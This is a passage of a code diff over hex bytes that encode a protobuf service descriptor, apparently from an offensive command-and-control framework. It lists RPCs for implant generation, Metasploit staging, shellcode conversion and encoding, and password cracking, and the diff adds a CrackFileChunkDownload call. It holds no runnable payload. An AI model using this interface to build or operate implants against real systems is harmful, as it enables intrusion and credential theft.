0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, + 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, + 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, + 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, + 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, + 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, + 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, + 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x5c, 0x0a, 0x20, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, + 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, + 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, + 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, + 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, + 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, + 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, + 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, - 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, - 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, - 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, - 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, - 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, - 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, + 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, + 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, - 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, - 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, - 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, - 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, - 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, + 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, - 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, + 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, + 